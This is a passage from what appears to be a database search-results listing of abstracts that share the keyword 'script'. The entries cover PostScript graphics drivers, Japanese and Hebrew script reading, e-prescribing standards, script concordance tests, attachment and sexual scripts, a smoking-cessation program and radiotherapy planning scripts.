    This report discusses the following topics on the LAMDA program: General maintenance; CTSS FCL script; DOS batch files; Macintosh MPW scripts; UNICOS FCL script; VAX/MS command file; LINC calling tree; and LAMDA calling tree.

  9. ANLPS. Graphics Driver for PostScript Output

    DOE Office of Scientific and Technical Information (OSTI.GOV)

    Engert, D.E.

    1987-09-01

    ANLPS is a PostScript graphics device driver for use with the proprietary CA TELLAGRAF, CUECHART, and DISSPLA products. The driver allows the user to create and send text and graphics output in the Adobe Systems` PostScript page description language, which is accepted by many print devices. The PostScript output can be generated by TELLAGRAF 6.0 and DISSPLA 10.0. The files containing the PostScript output are sent to PostScript laser printers, such as the Apple LaserWriter. It is not necessary to initialize the printer, as the output for each plot is self-contained. All CA fonts are mapped to PostScript fonts, e.g.more » Swiss-Medium is mapped to Helvetica, and the mapping is easily changed. Hardware shading and hardware characters, area fill, and color are included. Auxiliary routines are provided which allow graphics files containing figures, logos, and diagrams to be merged with text files. The user can then position, scale, and rotate the figures on the output page in the reserved area specified.« less

  10. [Effect of spatial location on the generality of block-wise conflict adaptation between different types of scripts].

    PubMed

    Watanabe, Yurina; Yoshizaki, Kazuhito

    2014-10-01

    This study aimed to investigate the generality of conflict adaptation associated with block-wise conflict frequency between two types of stimulus scripts (Kanji and Hiragana). To this end, we examined whether the modulation of the compatibility effect with one type of script depending on block-wise conflict frequency (75% versus 25% generalized to the other type of script whose block-wise conflict frequency was kept constant (50%), using the Spatial Stroop task. In Experiment 1, 16 participants were required to identify the target orientation (up or down) presented in the upper or lower visual-field. The results showed that block-wise conflict adaptation with one type of stimulus script generalized to the other. The procedure in Experiment 2 was the same as that in Experiment 1, except that the presentation location differed between the two types of stimulus scripts. We did not find a generalization from one script to the other. These results suggest that presentation location is a critical factor contributing to the generality of block-wise conflict adaptation.

  11. 42 CFR 423.160 - Standards for electronic prescribing.

    Code of Federal Regulations, 2012 CFR

    2012-10-01

    ... Council for Prescription Drug Programs Prescriber/Pharmacist Interface SCRIPT Standard, Implementation... National Council for Prescription Drug Programs Prescriber/Pharmacist Interface SCRIPT Standard... Prescriber/Pharmacist Interface SCRIPT Standard, Implementation Guide Version 8, Release 1 (Version 8.1...

  12. 42 CFR 423.160 - Standards for electronic prescribing.

    Code of Federal Regulations, 2013 CFR

    2013-10-01

    ... National Council for Prescription Drug Programs Prescriber/Pharmacist Interface SCRIPT Standard... National Council for Prescription Drug Programs Prescriber/Pharmacist Interface SCRIPT Standard... Prescriber/Pharmacist Interface SCRIPT Standard, Implementation Guide Version 8, Release 1 (Version 8.1...

  13. 42 CFR 423.160 - Standards for electronic prescribing.

    Code of Federal Regulations, 2014 CFR

    2014-10-01

    ... National Council for Prescription Drug Programs Prescriber/Pharmacist Interface SCRIPT Standard... National Council for Prescription Drug Programs Prescriber/Pharmacist Interface SCRIPT Standard... Prescriber/Pharmacist Interface SCRIPT Standard, Implementation Guide Version 8, Release 1 (Version 8.1...

  14. Python Scripts for Automation of Current-Voltage Testing of Semiconductor Devices (FY17)

    DTIC Science & Technology

    2017-01-01

    ARL-TR-7923 ● JAN 2017 US Army Research Laboratory Python Scripts for Automation of Current- Voltage Testing of Semiconductor...manual device-testing procedures is reduced or eliminated through automation. This technical report includes scripts written in Python , version 2.7, used ...nothing. 3.1.9 Exit Program The script exits the entire program. Line 505, sys.exit(), uses the sys package that comes with Python to exit system

  15. Word Spotting for Indic Documents to Facilitate Retrieval

    NASA Astrophysics Data System (ADS)

    Bhardwaj, Anurag; Setlur, Srirangaraj; Govindaraju, Venu

    With advances in the field of digitization of printed documents and several mass digitization projects underway, information retrieval and document search have emerged as key research areas. However, most of the current work in these areas is limited to English and a few oriental languages. The lack of efficient solutions for Indic scripts has hampered information extraction from a large body of documents of cultural and historical importance. This chapter presents two relevant topics in this area. First, we describe the use of a script-specific keyword spotting for Devanagari documents that makes use of domain knowledge of the script. Second, we address the needs of a digital library to provide access to a collection of documents from multiple scripts. This requires intelligent solutions which scale across different scripts. We present a script-independent keyword spotting approach for this purpose. Experimental results illustrate the efficacy of our methods.

  16. Let's Write a Script.

    ERIC Educational Resources Information Center

    Harding, T. E.

    Some problems of writing scripts for radio and/or television are discussed, with examples provided to illustrate the rules. Writing both fictional scripts and documentaries are considered. Notes are also included to help the freelance writer who wishes to sell his work. (RH)

  17. Does processing a shallow and a deep orthography produce different brain activity patterns? An ERP study conducted in Hebrew.

    PubMed

    Bar-Kochva, Irit

    2011-01-01

    Orthographies range from shallow orthographies with transparent grapheme-phoneme relations, to deep orthographies, in which these relations are opaque. Two forms of script transcribe the Hebrew language: the shallow pointed script (with diacritics) and the deep unpointed script (without diacritics). This study was set out to examine whether the reading of these scripts evokes distinct brain activity. Preliminary results indicate distinct Event-related-potentials (ERPs). As an equivalent finding was absent when ERPs of non-orthographic stimuli with and without meaningless diacritics were compared, the results imply that print-specific aspects of processing account for the distinct activity elicited by the pointed and unpointed scripts.

  18. [Ecologic evaluation in the cognitive assessment of brain injury patients: generation and execution of script].

    PubMed

    Baguena, N; Thomas-Antérion, C; Sciessere, K; Truche, A; Extier, C; Guyot, E; Paris, N

    2006-06-01

    Assessment of executive functions in an everyday life activity, evaluating brain injury subjects with script generation and execution tasks. We compared a script generation task to a script execution task, whereby subjects had to make a cooked dish. Two grids were used for the quotation, qualitative and quantitative, as well as the calculation of an anosognosis score. We checked whether the execution task was more sensitive to a dysexecutive disorder than the script generation task and compared the scores obtained in this evaluation with those from classical frontal tests. Twelve subjects with brain injury 6 years+/-4.79 ago and 12 healthy control subjects were tested. The subjects carried out a script generation task whereby they had to explain the necessary stages to make a chocolate cake. They also had to do a script execution task corresponding to the cake making. The 2 quotation grids were operational and complementary. The quantitative grid is more sensitive to a dysexecutive disorder. The brain injury subjects made more errors in the execution task. It is important to evaluate the executive functions of subjects with brain injury in everyday life tasks, not just in psychometric or script-generation tests. Indeed the ecological realization of a very simple task can reveal executive function difficulties such as the planning or the sequencing of actions, which are under-evaluated in laboratory tests.

  19. Examining pediatric resuscitation education using simulation and scripted debriefing: a multicenter randomized trial.

    PubMed

    Cheng, Adam; Hunt, Elizabeth A; Donoghue, Aaron; Nelson-McMillan, Kristen; Nishisaki, Akira; Leflore, Judy; Eppich, Walter; Moyer, Mike; Brett-Fleegler, Marisa; Kleinman, Monica; Anderson, Jodee; Adler, Mark; Braga, Matthew; Kost, Susanne; Stryjewski, Glenn; Min, Steve; Podraza, John; Lopreiato, Joseph; Hamilton, Melinda Fiedor; Stone, Kimberly; Reid, Jennifer; Hopkins, Jeffrey; Manos, Jennifer; Duff, Jonathan; Richard, Matthew; Nadkarni, Vinay M

    2013-06-01

    Resuscitation training programs use simulation and debriefing as an educational modality with limited standardization of debriefing format and content. Our study attempted to address this issue by using a debriefing script to standardize debriefings. To determine whether use of a scripted debriefing by novice instructors and/or simulator physical realism affects knowledge and performance in simulated cardiopulmonary arrests. DESIGN Prospective, randomized, factorial study design. The study was conducted from 2008 to 2011 at 14 Examining Pediatric Resuscitation Education Using Simulation and Scripted Debriefing (EXPRESS) network simulation programs. Interprofessional health care teams participated in 2 simulated cardiopulmonary arrests, before and after debriefing. We randomized 97 participants (23 teams) to nonscripted low-realism; 93 participants (22 teams) to scripted low-realism; 103 participants (23 teams) to nonscripted high-realism; and 94 participants (22 teams) to scripted high-realism groups. INTERVENTION Participants were randomized to 1 of 4 arms: permutations of scripted vs nonscripted debriefing and high-realism vs low-realism simulators. Percentage difference (0%-100%) in multiple choice question (MCQ) test (individual scores), Behavioral Assessment Tool (BAT) (team leader performance), and the Clinical Performance Tool (CPT) (team performance) scores postintervention vs preintervention comparison (PPC). There was no significant difference at baseline in nonscripted vs scripted groups for MCQ (P = .87), BAT (P = .99), and CPT (P = .95) scores. Scripted debriefing showed greater improvement in knowledge (mean [95% CI] MCQ-PPC, 5.3% [4.1%-6.5%] vs 3.6% [2.3%-4.7%]; P = .04) and team leader behavioral performance (median [interquartile range (IQR)] BAT-PPC, 16% [7.4%-28.5%] vs 8% [0.2%-31.6%]; P = .03). Their improvement in clinical performance during simulated cardiopulmonary arrests was not significantly different (median [IQR] CPT-PPC, 7.9% [4.8%-15.1%] vs 6.7% [2.8%-12.7%], P = .18). Level of physical realism of the simulator had no independent effect on these outcomes. The use of a standardized script by novice instructors to facilitate team debriefings improves acquisition of knowledge and team leader behavioral performance during subsequent simulated cardiopulmonary arrests. Implementation of debriefing scripts in resuscitation courses may help to improve learning outcomes and standardize delivery of debriefing, particularly for novice instructors.

  20. 42 CFR 423.160 - Standards for electronic prescribing.

    Code of Federal Regulations, 2011 CFR

    2011-10-01

    ... Prescriber/Pharmacist Interface SCRIPT Standard, Implementation Guide, Version 8, Release 1, (Version 8.1... Prescriber/Pharmacist Interface SCRIPT Standard, Implementation Guide, Version 8, Release 1 (Version 8.1... Programs Prescriber/Pharmacist Interface SCRIPT Standard, Implementation Guide Version 8, Release 1...

  1. The Potential of CGI: Using Pre-Built CGI Scripts to Make Interactive Web Pages.

    ERIC Educational Resources Information Center

    Nackerud, Shane A.

    1998-01-01

    Describes CGI (Common Gateway Interface) scripts that are available on the Web and explains how librarians can use them to make Web pages more interactive. Topics include CGI security; Perl scripts; UNIX; and HTML. (LRW)

  2. PSTOOLS - FOUR PROGRAMS THAT INTERPRET/FORMAT POSTSCRIPT FILES

    NASA Technical Reports Server (NTRS)

    Choi, D.

    1994-01-01

    PSTOOLS is a package of four programs that operate on files written in the page description language, PostScript. The programs include a PostScript previewer for the IRIS workstation, a PostScript driver for the Matrix QCRZ film recorder, a PostScript driver for the Tektronix 4693D printer, and a PostScript code beautifier that formats PostScript files to be more legible. The three programs PSIRIS, PSMATRIX, and PSTEK are similar in that they all interpret the PostScript language and output the graphical results to a device, and they support color PostScript images. The common code which is shared by these three programs is included as a library of routines. PSPRETTY formats a PostScript file by appropriately indenting procedures and code delimited by "saves" and "restores." PSTOOLS does not use Adobe fonts. PSTOOLS is written in C-language for implementation on SGI IRIS 4D series workstations running IRIX 3.2 or later. A README file and UNIX man pages provide information regarding the installation and use of the PSTOOLS programs. A six-page manual which provides slightly more detailed information may be purchased separately. The standard distribution medium for this package is one .25 inch streaming magnetic tape cartridge in UNIX tar format. PSIRIS (the largest program) requires 1.2Mb of main memory. PSMATRIX requires the "gpib" board (IEEE 488) available from Silicon Graphics. Inc. The programs with graphical interfaces require that the IRIS have at least 24 bit planes. This package was developed in 1990 and updated in 1991. SGI, IRIS 4D, and IRIX are trademarks of Silicon Graphics, Inc. Matrix QCRZ is a registered trademark of the AGFA Group. Tektronix 4693D is a trademark of Tektronix, Inc. Adobe is a trademark of Adobe Systems Incorporated. PostScript is a registered trademark of Adobe Systems Incorporated. UNIX is a registered trademark of AT&T Bell Laboratories.

  3. Cultural scripts for a good death in Japan and the United States: similarities and differences.

    PubMed

    Long, Susan Orpett

    2004-03-01

    Japan and the United States are both post-industrial societies, characterised by distinct trajectories of dying. Both contain multiple "cultural scripts" of the good death. Seale (Constructing Death: the Sociology of Dying and Bereavement, Cambridge University Press, Cambridge, 1998) has identified at least four "cultural scripts", or ways to die well, that are found in contemporary anglophone countries: modern medicine, revivalism, an anti-revivalist script and a religious script. Although these scripts can also be found in Japan, different historical experiences and religious traditions provide a context in which their content and interpretation sometimes differ from those of the anglophone countries. To understand ordinary people's ideas about dying well and dying poorly, we must recognise not only that post-industrial society offers multiple scripts and varying interpretive frameworks, but also that people actively select from among them in making decisions and explaining their views. Moreover, ideas and metaphors may be based on multiple scripts simultaneously or may offer different interpretations for different social contexts. Based on ethnographic fieldwork in both countries, this paper explores the metaphors that ordinary patients and caregivers draw upon as they use, modify, combine or ignore these cultural scripts of dying. Ideas about choice, time, place and personhood, elements of a good death that were derived inductively from interviews, are described. These Japanese and American data suggest somewhat different concerns and assumptions about human life and the relation of the person to the wider social world, but indicate similar concerns about the process of medicalised dying and the creation of meaning for those involved. While cultural differences do exist, they cannot be explained by reference to 'an American' and 'a Japanese' way to die. Rather, the process of creating and maintaining cultural scripts requires the active participation of ordinary people as they in turn respond to the constraints of post-industrial technology, institutions, demographics and notions of self.

  4. Assessing clinical reasoning in optometry using the script concordance test.

    PubMed

    Faucher, Caroline; Dufour-Guindon, Marie-Pier; Lapointe, Gabrielle; Gagnon, Robert; Charlin, Bernard

    2016-05-01

    Clinical reasoning is central to any health profession but its development among learners is difficult to assess. Over the last few decades, the script concordance test (SCT) has been developed to solve this dilemma and has been used in many health professions; however, no study has been published on the use of the script concordance test in optometry. The purpose of this study was to develop and validate a script concordance test for the field of optometry. A 101-question script concordance test (27 short clinical scenarios) was developed and administered online to a convenience sample of 23 second-year and 19 fourth-year students of optometry. It was also administered to a reference panel of 12 experienced optometrists to develop the scoring key. An item-total correlation was calculated for each question. Cronbach's alpha coefficient was used to evaluate the script concordance test reliability and a t-test compared the two groups. A final 77-question script concordance test was created by eliminating questions with low item-total correlation. Cronbach's alpha for this optimised 77-question script concordance test was 0.80. A group comparison revealed that the second-year students' scores (n = 23; mean score = 66.4 ± 7.87 per cent) were statistically lower (t = -4.141; p < 0.001) than those of the fourth-year students (n = 19; mean score = 75.5 ± 5.97 per cent). The online script concordance test developed for this study was found to be both reliable and capable of discriminating between second- and fourth-year optometric students. These results demonstrate that the script concordance test may be considered as a new tool in the optometric educators' assessment arsenal. Further studies will be needed to cover additional levels of professional development. © 2016 The Authors. Clinical and Experimental Optometry © 2016 Optometry Australia.

  5. Departure scripts and life review of parents living with abusive adult children with mental disorder.

    PubMed

    Avieli, Hila; Smeloy, Yael; Band-Winterstein, Tova

    2015-08-01

    Increasing numbers of aging parents are finding themselves in the role of caregiver for their mentally ill adult child due to global deinstitutionalization policy. The aim of this article is to explore preparations for the end of life in light of the life review process among old parents of abusive children with mental disorder. Data collection was performed through in-depth semi-structured interviews with 20 parents, followed by phenomenological analysis. Five different types of departure scripts emerged: a pragmatic departure script, a burned-out departure script, a dead-end departure script, an optimistic departure script, and a violent departure script. The parents in this study tended to interpret events in their past to fit their perception of the current relationship with their child, thus connecting past, present, and future into one coherent picture. Years of extended care have led to a unique aging process which does not allow separation from the child or the development of a sense of closure that characterizes the aging process. This calls for better insights and deeper understanding in regard to intervention with such families. Copyright © 2015. Published by Elsevier Inc.

  6. Partial N=2 to N=1 supersymmetry breaking and gravity deformed chiral rings.

    NASA Astrophysics Data System (ADS)

    David, Justin R.; Gava, Edi; Narain, K. S.

    2004-06-01

    We present a derivation of the chiral ring relations, arising in Script N = 1 gauge theories in the presence of (anti-)self-dual background gravitational field Galphabetagamma and graviphoton field strength Falphabeta. These were previously considered in the literature in order to prove the relation between gravitational F-terms in the gauge theory and coefficients of the topological expansion of the related matrix integral. We consider the spontaneous breaking of Script N = 2 to Script N = 1 supergravity coupled to vector- and hyper-multiplets, and take a rigid limit which keeps a non-trivial Galphabetagamma and Falphabeta with a finite supersymmetry breaking scale. We derive the resulting effective, global, Script N = 1 theory and show that the chiral ring relations are just a consequence of the standard Script N = 2 supergravity Bianchi identities. We can also obtain models with matter in different representations and in particular quiver theories. We also show that, in the presence of non-trivial Falphabeta, consistency of the Konishi-anomaly loop equations with the chiral ring relations, demands that the gauge kinetic function and the superpotential, a priori unrelated for an Script N = 1 theory, should be derived from a prepotential, indicating an underlying Script N = 2 structure.

  7. Multiple Domains of Parental Secure Base Support During Childhood and Adolescence Contribute to Adolescents’ Representations of Attachment as a Secure Base Script

    PubMed Central

    Vaughn, Brian E.; Waters, Theodore E. A.; Steele, Ryan D.; Roisman, Glenn I.; Bost, Kelly K.; Truitt, Warren; Waters, Harriet S.; Booth-LaForce, Cathryn

    2016-01-01

    Although attachment theory claims that early attachment representations reflecting the quality of the child’s “lived experiences” are maintained across developmental transitions, evidence that has emerged over the last decade suggests that the association between early relationship quality and adolescents’ attachment representations is fairly modest in magnitude. We used aspects of parenting beyond sensitivity over childhood and adolescence and early security to predict adolescents’ scripted attachment representations. At age 18 years, 673 participants from the NICHD Study of Early Child Care and Youth Development (SECCYD) completed the Attachment Script Assessment (ASA) from which we derived an assessment of secure base script knowledge. Measures of secure base support from childhood through age 15 years (e.g., parental monitoring of child activity, father presence in the home) were selected as predictors and accounted for an additional 8% of the variance in secure base script knowledge scores above and beyond direct observations of sensitivity and early attachment status alone, suggesting that adolescents’ scripted attachment representations reflect multiple domains of parenting. Cognitive and demographic variables also significantly increased predicted variance in secure base script knowledge by 2% each. PMID:27032953

  8. Development of a Finite State Machine for a Small Unmanned Aircraft System Using Experimental Design

    DTIC Science & Technology

    2015-03-26

    54  Appendix B: Storyboard ....................................................................................................56  Bibliography...Script.ChangeParam(’WP_RADIUS’,90) Script.ChangeParam(’WP_LOITER_RAD’,90) print ’End Script’ 56 Appendix B: Storyboard 57

  9. Design and Implementation of an Operations Module for the ARGOS paperless Ship System

    DTIC Science & Technology

    1989-06-01

    A. OPERATIONS STACK SCRIPTS SCRIPTS FOR STACK: operations * BACKGROUND #1: Operations * on openStack hide message box show menuBar pass openStack end... openStack ** CARD #1, BUTTON #1: Up ***** on mouseUp visual effect zoom out go to card id 10931 of stack argos end mouseUp ** CARD #1, BUTTON #2...STACK SCRIPTS SCRIPTS FOR STACK: Reports ** BACKGROUND #1: Operations * on openStack hie message box show menuBar pass openStack end openStack ** CARD #1

  10. Batch Proving and Proof Scripting in PVS

    NASA Technical Reports Server (NTRS)

    Munoz, Cesar A.

    2007-01-01

    The batch execution modes of PVS are powerful, but highly technical, features of the system that are mostly accessible to expert users. This paper presents a PVS tool, called ProofLite, that extends the theorem prover interface with a batch proving utility and a proof scripting notation. ProofLite enables a semi-literate proving style where specification and proof scripts reside in the same file. The goal of ProofLite is to provide batch proving and proof scripting capabilities to regular, non-expert, users of PVS.

  11. ACME Priority Metrics (A-PRIME)

    DOE Office of Scientific and Technical Information (OSTI.GOV)

    Evans, Katherine J; Zender, Charlie; Van Roekel, Luke

    A-PRIME, is a collection of scripts designed to provide Accelerated Climate Model for Energy (ACME) model developers and analysts with a variety of analysis of the model needed to determine if the model is producing the desired results, depending on the goals of the simulation. The software is csh scripts based at the top level to enable scientist to provide the input parameters. Within the scripts, the csh scripts calls code to perform the postprocessing of the raw data analysis and create plots for visual assessment.

  12. Genre scripts and appreciation of negative emotion in the reception of film.

    PubMed

    Tan, Ed S; Visch, Valentijn T

    2017-01-01

    The Distancing-Embracing model reserves a role for genre scripts in the hedonic valuation of negative emotion in art. Genre scripts, as defined in the target article, leave higher-level recipient intuitions out of scope. We argue that, in film genre scripts, lower-level stylistic features lend access to more complex conceptual knowledge, including pragmatic principles. The argument implies a consideration of the communicative dimension of aesthetic works, which could strengthen both factors of the Distancing-Embracing model.

  13. Effectiveness of the Smoking Cessation and Reduction in Pregnancy Treatment (SCRIPT) dissemination project: a science to prenatal care practice partnership.

    PubMed

    Windsor, Richard; Clark, Jeannie; Cleary, Sean; Davis, Amanda; Thorn, Stephanie; Abroms, Lorien; Wedeles, John

    2014-01-01

    This study evaluated the effectiveness of the Smoking Cessation and Reduction in Pregnancy Treatment (SCRIPT) Program selected by the West Virginia-Right From The Start Project for state-wide dissemination. A process evaluation documented the fidelity of SCRIPT delivery by Designated Care Coordinators (DCC), licensed nurses and social workers who provide home-based case management to Medicaid-eligible clients in all 55 counties. We implemented a quasi-experimental, non-randomized, matched Comparison (C) Group design. The SCRIPT Experimental E Group (N = 259) were all clients in 2009-2010 that wanted to quit, provided a screening carbon monoxide (CO), and received a SCRIPT home visit. The (C) Group was derived from all clients in 2006-2007 who had the same CO assessments as E Group clients and reported receiving cessation counseling. We stratified the baseline CO of E Group clients into 10 strata, and randomly selected the same number of (C) Group clients (N = 259) from each matched strata to evaluate the effectiveness of the SCRIPT Program. There were no significant baseline differences in the E and (C) Group. A Process Evaluation documented a significant increase in the fidelity of DCC delivery of SCRIPT Program procedures: from 63 % in 2006 to 74 % in 2010. Significant increases were documented in the E Group cessation rate (+9.3 %) and significant reduction rate (+4.5 %), a ≥50 % reduction from a baseline CO. Perinatal health case management staff can deliver the SCRIPT Program, and Medicaid-supported clients can change smoking behavior, even very late in pregnancy. When multiple biases were analyzed, we concluded the SCRIPT Dissemination Project was the most plausible reason for the significant changes in behavior.

  14. Automation of radiation treatment planning : Evaluation of head and neck cancer patient plans created by the Pinnacle3 scripting and Auto-Planning functions.

    PubMed

    Speer, Stefan; Klein, Andreas; Kober, Lukas; Weiss, Alexander; Yohannes, Indra; Bert, Christoph

    2017-08-01

    Intensity-modulated radiotherapy (IMRT) techniques are now standard practice. IMRT or volumetric-modulated arc therapy (VMAT) allow treatment of the tumor while simultaneously sparing organs at risk. Nevertheless, treatment plan quality still depends on the physicist's individual skills, experiences, and personal preferences. It would therefore be advantageous to automate the planning process. This possibility is offered by the Pinnacle 3 treatment planning system (Philips Healthcare, Hamburg, Germany) via its scripting language or Auto-Planning (AP) module. AP module results were compared to in-house scripts and manually optimized treatment plans for standard head and neck cancer plans. Multiple treatment parameters were scored to judge plan quality (100 points = optimum plan). Patients were initially planned manually by different physicists and re-planned using scripts or AP. Script-based head and neck plans achieved a mean of 67.0 points and were, on average, superior to manually created (59.1 points) and AP plans (62.3 points). Moreover, they are characterized by reproducibility and lower standard deviation of treatment parameters. Even less experienced staff are able to create at least a good starting point for further optimization in a short time. However, for particular plans, experienced planners perform even better than scripts or AP. Experienced-user input is needed when setting up scripts or AP templates for the first time. Moreover, some minor drawbacks exist, such as the increase of monitor units (+35.5% for scripted plans). On average, automatically created plans are superior to manually created treatment plans. For particular plans, experienced physicists were able to perform better than scripts or AP; thus, the benefit is greatest when time is short or staff inexperienced.

  15. Does the reading of different orthographies produce distinct brain activity patterns? An ERP study.

    PubMed

    Bar-Kochva, Irit; Breznitz, Zvia

    2012-01-01

    Orthographies vary in the degree of transparency of spelling-sound correspondence. These range from shallow orthographies with transparent grapheme-phoneme relations, to deep orthographies, in which these relations are opaque. Only a few studies have examined whether orthographic depth is reflected in brain activity. In these studies a between-language design was applied, making it difficult to isolate the aspect of orthographic depth. In the present work this question was examined using a within-subject-and-language investigation. The participants were speakers of Hebrew, as they are skilled in reading two forms of script transcribing the same oral language. One form is the shallow pointed script (with diacritics), and the other is the deep unpointed script (without diacritics). Event-related potentials (ERPs) were recorded while skilled readers carried out a lexical decision task in the two forms of script. A visual non-orthographic task controlled for the visual difference between the scripts (resulting from the addition of diacritics to the pointed script only). At an early visual-perceptual stage of processing (~165 ms after target onset), the pointed script evoked larger amplitudes with longer latencies than the unpointed script at occipital-temporal sites. However, these effects were not restricted to orthographic processing, and may therefore have reflected, at least in part, the visual load imposed by the diacritics. Nevertheless, the results implied that distinct orthographic processing may have also contributed to these effects. At later stages (~340 ms after target onset) the unpointed script elicited larger amplitudes than the pointed one with earlier latencies. As this latency has been linked to orthographic-linguistic processing and to the classification of stimuli, it is suggested that these differences are associated with distinct lexical processing of a shallow and a deep orthography.

  16. Origins of Secure Base Script Knowledge and the Developmental Construction of Attachment Representations

    PubMed Central

    Waters, Theodore E. A.; Ruiz, Sarah K.; Roisman, Glenn I.

    2016-01-01

    Increasing evidence suggests that attachment representations take at least two forms—a secure base script and an autobiographical narrative of childhood caregiving experiences. This study presents data from the first 26 years of the Minnesota Longitudinal Study of Risk and Adaptation (N = 169), examining the developmental origins of secure base script knowledge in a high-risk sample, and testing alternative models of the developmental sequencing of the construction of attachment representations. Results demonstrated that secure base script knowledge was predicted by observations of maternal sensitivity across childhood and adolescence. Further, findings suggest that the construction of a secure base script supports the development of a coherent autobiographical representation of childhood attachment experiences with primary caregivers by early adulthood. PMID:27302650

  17. Viewing multiple sequence alignments with the JavaScript Sequence Alignment Viewer (JSAV)

    PubMed Central

    Martin, Andrew C. R.

    2014-01-01

    The JavaScript Sequence Alignment Viewer (JSAV) is designed as a simple-to-use JavaScript component for displaying sequence alignments on web pages. The display of sequences is highly configurable with options to allow alternative coloring schemes, sorting of sequences and ’dotifying’ repeated amino acids. An option is also available to submit selected sequences to another web site, or to other JavaScript code. JSAV is implemented purely in JavaScript making use of the JQuery and JQuery-UI libraries. It does not use any HTML5-specific options to help with browser compatibility. The code is documented using JSDOC and is available from http://www.bioinf.org.uk/software/jsav/. PMID:25653836

  18. Viewing multiple sequence alignments with the JavaScript Sequence Alignment Viewer (JSAV).

    PubMed

    Martin, Andrew C R

    2014-01-01

    The JavaScript Sequence Alignment Viewer (JSAV) is designed as a simple-to-use JavaScript component for displaying sequence alignments on web pages. The display of sequences is highly configurable with options to allow alternative coloring schemes, sorting of sequences and 'dotifying' repeated amino acids. An option is also available to submit selected sequences to another web site, or to other JavaScript code. JSAV is implemented purely in JavaScript making use of the JQuery and JQuery-UI libraries. It does not use any HTML5-specific options to help with browser compatibility. The code is documented using JSDOC and is available from http://www.bioinf.org.uk/software/jsav/.

  19. Actual versus desired initiation patterns among a sample of college men: tapping disjunctures within traditional male sexual scripts.

    PubMed

    Dworkin, Shari L; O'Sullivan, Lucia

    2005-05-01

    Research on men's sexual scripts has tended to overlook that some men do not endorse traditional scripts or that one or both members of a couple might desire a departure from culturally dominant sexual scripts. This study used in-depth interviews with 32 college-aged men from a community college in New York City to examine disjunctures between current and desired sexual initiation patterns. Results show that although men currently practice male-dominated patterns of sexual initiation, many men desire egalitarian patterns of initiation. Men offered clear preference to be an object of desire to their female partners, deployed narratives of wanting to share the "labor" of sexual initiation, and expressed ideologies of sexual egalitarianism. We consider how shifting terrains of gender relations in contemporary U.S. culture may shape masculinities and sexual scripts. We also consider how an examination of disjunctures between current and desired practices might be useful to HIV researchers interested in interviewing across multiple levels of the sexual script.

  20. Effects of script types of Japanese loan words on priming performance.

    PubMed

    Hayashi, Chiyoko

    2005-04-01

    23 female undergraduate students (M=20 yr., 10 mo., SD=15 mo.) were given a word-fragment completion task, containing a study and nonstudy list. In the present study, the effect of orthographic familiarity (e.g., script type) of a test item on a word-fragment completion task was examined. The script types of word stimuli (Katakana and Hiragana) were manipulated between a study and test phase. Priming effect was greater when the script type was the same between a study and test phase than in the cross-script condition. Further, even if the script type of word stimulus was different between study and test phases, a significant priming effect was obtained when the test fragment was orthographically familiar. These results suggested that not only the consistency of the perceptual feature of the stimulus word between study and test phases, but also orthographic familiarity of the stimulus word in the test phase facilitated priming effect in a word-fragment completion test.

  1. The normativity of life scripts and its relation with life story events across cultures and subcultures.

    PubMed

    Hatiboğlu, Neşe; Habermas, Tilmann

    2016-11-01

    This study explored the normativity of individual life scripts and their relation to actual life story memories across countries (Turkey and Germany) and subcultures (urban vs. rural, of migrant vs. of indigenous descent). Young adults from provincial Karabük and metropolitan Istanbul (Turkey), second generation Turkish migrants and Germans from Frankfurt a.M. (Germany) provided both their individual versions of the life script and seven most important personal memories. We expected the agreement on the life script, that is, its normativity, and correspondingly its guiding influence on the selection of life story memories to correlate positively with a collectivistic, negatively an individualistic cultural orientation, that is, to be highest in provincial Karabük, less in Istanbul, still less in Turkish migrants in Germany, and finally lowest in native Germans. The study confirmed expectations for the normativity of life scripts, but not for the normativity of most important memories. We conclude that the normativity of life scripts is influenced both by the individualist vs. collectivist orientation.

  2. Improving first-time donor attendance rates through the use of enhanced donor preparation materials.

    PubMed

    Masser, Barbara; France, Christopher R; Foot, Jayne; Rozsa, Amy; Hayman, Jane; Waller, Daniel; Hunder, Everard

    2016-06-01

    Many nondonors are positive about blood donation and this motivates booking an appointment to donate. However, as their appointment approaches barriers to donating-such as anxiety-may become salient and deter attendance. Building on research of France and colleagues demonstrating the positive effect of enhanced preparation materials on donor recruitment, this study sought to determine whether these materials could effectively boost first donation appointment attendance. A field study comprising a 3 (brochure: none, e-mail, hard copy) × 2 (national call center [NCC] contact: none, call) between-subjects design was conducted with 3646 nondonors who had scheduled their first appointment. Participants in the brochure conditions received either a hard copy or an e-mailed link to electronic materials modeled on the donor preparation research of France and colleagues. Participants in the NCC call condition also received a call scripted in line with these preparation materials. The key outcome was new donor attendance rate. Although first-appointment attendance rates were high in the control (no additional contact) condition at 85.07% of those not canceling in advance, dual exposure to the preparation materials through a NCC call and an electronic brochure boosted attendance. The relative risk of attending in the NCC call and electronic brochure condition was 1.0836 (95% confidence interval, 1.0352-1.1343; p = 0.0006), with attendance 8.36% higher than in the control. This gain in attendance came at a relative increase in recruitment costs of 2%. The use of tailored communication to address new donors' concerns and prepare them for donating bolsters attendance rates. © 2016 AABB.

  3. 75 FR 38026 - Medicare Program; Identification of Backward Compatible Version of Adopted Standard for E...

    Federal Register 2010, 2011, 2012, 2013, 2014

    2010-07-01

    ... Programs (NCPDP) Prescriber/ Pharmacist Interface SCRIPT standard, Implementation Guide, Version 10... Prescriber/Pharmacist Interface SCRIPT standard, Version 8, Release 1 and its equivalent NCPDP Prescriber/Pharmacist Interface SCRIPT Implementation Guide, Version 8, Release 1 (hereinafter referred to as the...

  4. UPIC: Perl scripts to determine the number of SSR markers to run

    USDA-ARS?s Scientific Manuscript database

    We have developed Perl Scripts for the cost-effective planning of fingerprinting and genotyping experiments. The UPIC scripts detect the best combination of polymorphic simple sequence repeat (SSR) markers and provide coefficients of the amount of information obtainable (number of alleles of patter...

  5. Soil CO2 flux from three ecosystems in tropical peatland of Sarawak, Malaysia

    NASA Astrophysics Data System (ADS)

    Melling, Lulie; Hatano, Ryusuke; Goh, Kah Joo

    2005-02-01

